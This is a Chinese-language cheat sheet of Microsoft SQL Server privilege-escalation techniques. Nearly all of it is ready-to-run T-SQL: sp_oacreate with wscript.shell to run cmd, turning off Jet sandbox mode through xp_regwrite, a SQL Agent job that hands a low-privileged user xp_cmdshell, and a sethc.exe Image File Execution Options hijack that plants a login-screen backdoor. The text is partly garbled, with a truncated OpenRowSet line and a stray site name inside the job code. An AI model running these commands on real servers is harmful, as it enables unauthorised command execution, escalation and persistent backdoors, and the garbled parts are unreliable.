xp_cmdshell提权
xp_cmdshell在前面写webshell已经讲解过了，在这里不在重复sp_oacreate提权
启用：
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭：
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;执行：
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt' 
沙盒提权
1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'沙盒模式SandBoxMode参数含义（默认是2）
`0`：在任何所有者中禁止启用安全模式
`1` ：为仅在允许范围内
`2` ：必须在access模式下
`3`：完全开启执行命令：
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\i
public
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'xp_regwrite
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
